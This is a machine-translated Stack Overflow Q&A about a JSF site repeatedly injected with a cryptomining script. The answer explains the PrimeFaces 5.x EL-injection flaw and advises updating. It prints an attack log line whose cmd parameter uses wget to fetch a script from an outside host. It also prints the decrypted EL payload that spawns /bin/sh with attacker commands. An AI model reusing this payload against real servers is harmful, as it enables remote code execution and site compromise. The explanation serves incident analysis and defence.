- html - 出于某种原因,IE8 对我的 Sass 文件中继承的 html5 CSS 不友好?
- JMeter 在响应断言中使用 span 标签的问题
- html - 在 :hover and :active? 上具有不同效果的 CSS 动画
- html - 相对于居中的 html 内容固定的 CSS 重复背景?
现在我知道这不是一个安全或恶意软件清除网站。但是我觉得这是一个 JSF 特定的问题,
我注意到我的网站通过将 JavaScript 文件注入(inject)网页而不断受到攻击。
恶意软件正在从具有以下模式的某个随机 URL 加载脚本文件:https://johndi33.*****.***:7777/deepMiner.js
.
重新部署应用程序后恶意软件会被删除,但几个小时后会重新发起攻击并注入(inject)脚本。
在对这种特定的加密劫持恶意软件进行一些研究后,我发现成百上千个受感染的网站都使用相同的恶意软件,而且我还注意到所有受感染的网站都是基于 JSF 的。
我想知道是否对此有任何认识,或者任何 JSF 错误配置会轻易导致 RCE。
PS - 环境:
最佳答案
JSF (Mojarra) 中没有远程代码执行漏洞。另见其CVE summary which lists only a XSS bug in the prehistoric pre-1.2_08 versions .
仅在 PrimeFaces 5.x 中,StreamedContent
后面的资源处理程序中存在 EL 注入(inject)漏洞。 , /dynamiccontent.properties
.这个 EL 注入(inject)漏洞允许攻击者在服务器机器上执行代码。另见其CVE summary which lists exactly this vulrenability .您的问题历史确认您正在使用 PrimeFaces。
根据 PrimeFaces issue 1152,这已在 2016 年 2 月修复。并且从 PrimeFaces 5.2.21/5.3.8/6.0 开始提供该修复程序。换句话说,只要不断地保持你的软件是最新的。
也就是说,这也可以通过分析服务器访问日志轻松确定。以下是利用此漏洞的示例日志条目。特别注意超长pfdrid
请求参数和 cmd
/dynamiccontent.properties
中的请求参数要求:
GET /javax.faces.resource/dynamiccontent.properties.xhtml?pfdrt=sc&ln=primefaces&pfdrid=4ib88tY5cy3INAZZsdtHPFU0Qzf8xqfq7ScCVr132r36qawXCNDixKdRFB0XZvCTU9npUitDjk1QTkIeQJA4yEY72QT3qDGJpZjuqCDIWniQcr2vJZR%2B005iFZzJ%2Fi7VR9Mx5l5cedTgq9wS03rem26ubch9%2Bq4W6msPwJ1hk0KMefG9yZl3o5nYeA5gvnp9LQJb3r%2BM1yQ00zFBDzT4i9Nsx%2Fs5eaGsq9BFptosdH06iT1k7rn%2BrQtPjyIbOQzOmnMx%2F6THLsOCppRaIG7BW4VRbsIi1gJ8cRh6%2Bad71ukPWbDdM6S6O0Qcr%2FdkssHfL5%2F7y8Xy%2FcyDiiljeZj3dIibq3CSy6RBaZGzRXqjYAyV%2FJ7n3ulIkSVKszrCy3VyWb1uCY0fKLrPd3EO%2Flsw3k%2FbYSofV9MA%2BAaTnD8PXYhmiYGvp9b2R1BQGb8WgFk0fyTITJFZfUTJhM%2BiRJruw9ALDox8MY9S0SnpbmXM3LQmVYSghH0j4Zgi7Te7SZZK6gqgZEkrTA%2BQgAaZRIFG6R810xr5PZoWWG0Fdf9x491vRYtUSet8xCHIofPZ7fS5uP3mi2btGxWy8TgAEyC2wT%2F19mudycgOdTXW9nMt5nOf62fOdKSBYs2jStSwe2a6I6N5Bzp0Z7sdiJ0gmrHiYoJlkyT7p0wWGEk5Q4Xe1EPWIwGZIOr43j6BE7HUP5%2F7KdejsAQzNZZr1ox99VhH1TYwRuH7A7%2BN%2FWheWQCn%2FEM0xlpXC4GssZp4xPVah%2BP9wNH054upTkx4jH8j4houh2UfrjM9Vn18J%2BC1inTqHliDnzu9LFrm5L88eHCnLNDf6cyNmIaom7o2hEoNcffVMJ%2FhWkW7XwVkNS2b0%2B%2B1ZgQXCd7QE0dpIujuJ79keSD1cUyGdgKCVx70vtcbAcfa07Yt3DBPzeIP%2FLQjU6%2F%2BEwTS3oy4gttmMReFb7Bmn0uOUsmGZ%2FKkJNyWwN3wlsEfNFJzLx8%2FtCWjroQVWR0xS0ZudruYXAFmmi9O5iPYjyyQCH8JUrzR4N9vyWffKq1THVtN21EvX7x87Xl908kTe79uh6J61ICVo0PABqIl87m1n7te3d3pZ72PCXetr7GcaElzna95Nfoix9pwJ6GWAjRTcGNPT67lMx7cYKXmTD0mQAzXvlgWi2yEzFt9NA0NFhhZ4m6UeRZ7%2Bgs1Rr0HMpPu%2FNIvaCjTyZRdqRyxrDQ%2FF2QCTxpVEWKYWEEV2t6g%2BQ2m3Xo%2ByyWgeDbY8mHmwkdYUKO3QtwYxXtXTKT9dwCRtE1wDsYjLN0wMdSrg4YX3jCYlt7kV%2FymlnhNoSnVQoDJeumsGI1%2BdmKu2AJY8sGqXo2PJd10CxpQSO6D4F7RxA8fQji8shFybjhRek0YiEXxmvnhsBzCkBCXWguA7RXsMGLrerXVD1wHo5Jf7wQmLOyKUH7nne9ezwzVdQnaqadFehgZ6a6f5d%2FfxIRUZ1tKeLPST16CBlY0%2BPsRQDJJwWrRXdpuwon4PzHQXLD%2BAhQ%2F8j9Mb0OTM8RdZLuRjXw7tcY4muQDwMRCb92ipMiorDO8jVwPPOAXc5waNbSGmRhzOW1%2BLsQpV8OEMKVMDXq5dRoYKz6tlH0Zh4eZTHED3hK8z4cukSTXuxFpdC5NjiVsyhQU71J87Tvkzw1HxbjqhJK%2BkoPySJCmpHOmrrsbNlp0kHtNHuhY&cmd=wget%20http://XXX.XXX.XXX.XXX/CONTACT/test.py%20-O%20/tmp/test.py%20--no-check-certificate HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0"
pfdrid
请求参数通常表示 EL 表达式的加密值,该表达式引用返回
StreamedContent
的 bean 属性。 ,如
#{bean.image}
.然而,由于弱加密漏洞(
open source 8-byte salt),攻击者可以轻松提供任意加密字符串,并成功解密并最终进行 EL 评估。
StreamedContentHandler
解密上面提供的
pfdrid
例如,EL 评估之前的结果字符串如下(为便于阅读而添加了换行符):
${session.setAttribute("arr","".getClass().forName("java.util.ArrayList").newInstance())}
${session.setAttribute("scriptfactory", session.getClass().getClassLoader().getParent()
.newInstance(session.getAttribute("arr").toArray(session.getClass().getClassLoader().getParent().getURLs()))
.loadClass("javax.script.ScriptEngineManager").newInstance())}
${session.setAttribute("scriptengine",session.getAttribute("scriptfactory").getEngineByName("JavaScript"))}
${facesContext.getExternalContext().setResponseHeader("resp1", session.getAttribute("scriptengine"))}
${session.getAttribute("scriptengine").getContext().setWriter(facesContext.getExternalContext().getResponse().getWriter())}
${session.getAttribute("scriptengine").eval("
var proc = new java.lang.ProcessBuilder[\\"(java.lang.String[])\\"]([\\"/bin/sh\\",\\"-c\\",\\"".concat(request.getParameter("cmd")).concat("\\"]).start();
var is = proc.getInputStream();
var sc = new java.util.Scanner(is,\\"UTF-8\\");
var out = \\"\\";
while (sc.hasNext()) {
out += sc.nextLine()+String.fromCharCode(10);
}
print(out);
"))}
${facesContext.getExternalContext().getResponse().getWriter().flush()}
${facesContext.getExternalContext().getResponse().getWriter().close()}
${facesContext.getExternalContext().setResponseHeader("stillok", "yes")}
实际上,它会创建
JavaScript engine然后评估一段基本上运行
/bin/sh
的代码使用
cmd
中提供的命令进行处理在这种情况下为
wget%20http://XXX.XXX.XXX.XXX/CONTACT/test.py%20-O%20/tmp/test.py%20--no-check-certificate
的请求参数,并将其输出传递给响应。目标站点依次检查
stillok=yes
响应 header 存在,然后将继续生成其他
/dynamiccontent.properties
requests 反过来使用其他 shell 命令遍历文件夹结构,获取有关它的信息,找到模板文件并最终编辑它们以注入(inject)加密货币挖掘脚本。
关于security - JSF Cryptojacking 恶意软件,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/48314621/
现在我知道这不是一个安全或恶意软件清除网站。但是我觉得这是一个 JSF 特定的问题, 我注意到我的网站通过将 JavaScript 文件注入(inject)网页而不断受到攻击。 恶意软件正在从具有以下
我是一名优秀的程序员,十分优秀!